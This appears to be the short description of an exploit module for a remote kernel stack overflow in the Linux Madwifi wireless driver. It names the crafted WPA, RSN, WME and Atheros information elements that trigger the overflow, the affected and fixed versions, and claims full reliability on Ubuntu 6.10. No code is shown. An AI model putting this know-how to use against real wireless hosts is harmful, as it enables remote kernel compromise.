Madwifi SIOCGIWSCAN Buffer Overflow

The Madwifi driver under Linux is vulnerable to a remote kernel-mode stack-based buffer overflow. The vulnerability is triggered by one of these properly crafted information element: WPA, RSN, WME and Atheros OUI Current madwifi driver (0.9.2) and and all madwifi-ng drivers since r1504 are vulnerable Madwifi 0.9.2.1 release corrects the issue. This module has been tested against Ubuntu 6.10 and is 100% reliable, doesn\'t crash the Wifi stack and can exploit the same machine multiple time without the need to reboot it. This module depends on the Lorcon2 library and only works on the Linux platform with a supported wireless card. Please see the Ruby Lorcon2 documentation (external/ruby-lorcon/README) for more information.
